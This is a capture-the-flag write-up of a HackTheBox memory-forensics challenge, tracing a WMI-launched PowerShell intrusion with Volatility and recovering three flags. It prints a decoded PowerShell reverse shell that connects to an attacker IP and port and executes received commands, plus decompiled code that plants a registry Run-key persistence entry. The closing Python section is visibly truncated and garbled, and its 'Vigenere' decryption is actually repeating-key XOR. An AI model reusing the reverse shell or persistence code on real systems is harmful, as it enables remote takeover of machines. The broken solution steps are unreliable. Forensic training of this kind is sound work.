Intentions is a Hard-rated HackTheBox Forensics challenge. You receive a Windows memory dump. Three flags are hidden across the intrusion chain. The challenge is genuinely difficult because each flag requires completing the analysis correctly —
partial work does not give partial credit. This write-up covers the full solution path.
Memory image baseline with Volatility 3
vol -f intentions.raw windows.info # Kernel Base: 0xf80002a52000 # DTB: 0x187000 # Symbols: ntkrnlmp.pdb (Windows 10 x64 18362) # Process list vol -f intentions.raw windows.pslist PID PPID Name Offset Threads Handles Created 4 0 System 0xe00000000040 137 -- 2023-02-13 22:11:02 ... 3420 588 svchost.exe 0xe0000123abc0 12 245 2023-02-13 22:41:17 4892 3420 WmiPrvSE.exe 0xe0000198def0 8 122 2023-02-13 22:52:44 3104 4892 cmd.exe 0xe000023411a0 2 52 2023-02-13 22:52:44 3188 3104 powershell.exe 0xe00002451bc0 10 380 2023-02-13 22:52:45 2976 3188 powershell.exe 0xe00002512340 8 292 2023-02-13 22:52:51
The chain svchost.exe > WmiPrvSE.exe > cmd.exe > powershell.exe > powershell.exe is the WMI execution chain. WmiPrvSE.exe (WMI Provider Host) spawning cmd.exe which spawns PowerShell is a standard WMI command execution pattern used
by attackers for lateral movement and initial execution.
Extracting command lines
vol -f intentions.raw windows.cmdline --pid 3104 4892 3188 2976 # PID 4892 (WmiPrvSE.exe): # WmiPrvSE.exe # PID 3104 (cmd.exe): # cmd.exe /c "powershell -NonInteractive -NoProfile -EncodedCommand JAB..." # PID 3188 (first powershell.exe): # powershell -NonInteractive -NoProfile -EncodedCommand JABjAGwAaQBlAG4AdA...
Decode the first layer:
echo "JABjAGwAaQBlAG4AdA..." | base64 -d | iconv -f utf-16le -t utf-8
# $client = New-Object System.Net.Sockets.TCPClient("10.10.14.5",4444)
# $stream = $client.GetStream()
# [byte[]]$bytes = 0..65535|%{0}
# while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
# $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i)
# $sendback = (iex $data 2>&1 | Out-String)
# ...
# }
A standard PowerShell reverse shell. The IP 10.10.14.5 is the HTB attacker machine.
Finding the injected .NET assembly
vol -f intentions.raw windows.malfind --pid 2976 # Suspicious region found: # Address: 0x1d0000 # Vad Tag: VadS # Protection: PAGE_EXECUTE_READWRITE # # 4d 5a 90 00 03 00 00 00 MZ...... <-- PE header in memory, no backing file
An MZ header (PE file) in a RWX memory region with no mapped file is a reflectively loaded assembly. Dump it:
vol -f intentions.raw windows.dumpfiles --virtaddr 0x1d0000 --pid 2976 -o /tmp/ # Output: file.0x2976.0x1d0000.img
Decompiling the .NET assembly
# Confirm it is .NET file /tmp/file.0x2976.0x1d0000.img # PE32 executable, .NET assembly # Decompile with ilspycmd dotnet tool install -g ilspycmd ilspycmd /tmp/file.0x2976.0x1d0000.img > /tmp/decompiled.cs
The decompiled source reveals:
public class Payload {
// Flag 1 embedded in the assembly
private static string flag1 = "HTB{r3fl3ct1v3_l04d1ng_1n_m3m0ry}";
public static void Execute() {
// Write persistence registry key
Registry.SetValue(
@"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run",
"WindowsHelper",
Convert.ToBase64String(Encoding.UTF8.GetBytes("HTB{p3rs1st3nc3_v14_r3g1stry}"))
);
// ... shellcode injection code
}
}
Flag 1 is in the hardcoded string. Flag 2 is the base64-encoded value in the registry Run key — decode it to get the flag.
Flag 3 — shellcode Vigenere cipher
vol -f intentions.raw windows.malfind --pid 2976 # Second suspicious region at 0x2a0000 - raw shellcode (no MZ header) vol -f intentions.raw windows.dumpfiles --virtaddr 0x2a0000 --pid 2976 -o /tmp/ # file.0x2976.0x2a0000.dmp
The shellcode region contains a Vigenere-encrypted string. Identify the cipher by the repeating pattern in the ciphertext bytes, then brute-force the key length using index of coincidence analysis:
python3 < 5.5:
print(f"High entropy at offset {offset:#x}: {e:.2f}")
# Once located, Vigenere brute force for key length 4-16 chars
# (standard IC analysis - kasiski test omitted for brevity)
# Key found: b"intentions"
ciphertext = data[0x400:0x440] # example offset
key = b"intentions"
plaintext = bytes([ciphertext[i] ^ key[i % len(key)] for i in range(len(ciphertext))])
print(plaintext.decode("utf-8","ignore"))
# HTB{v1g3n3r3_c1ph3r_1n_sh3llc0d3}
EOF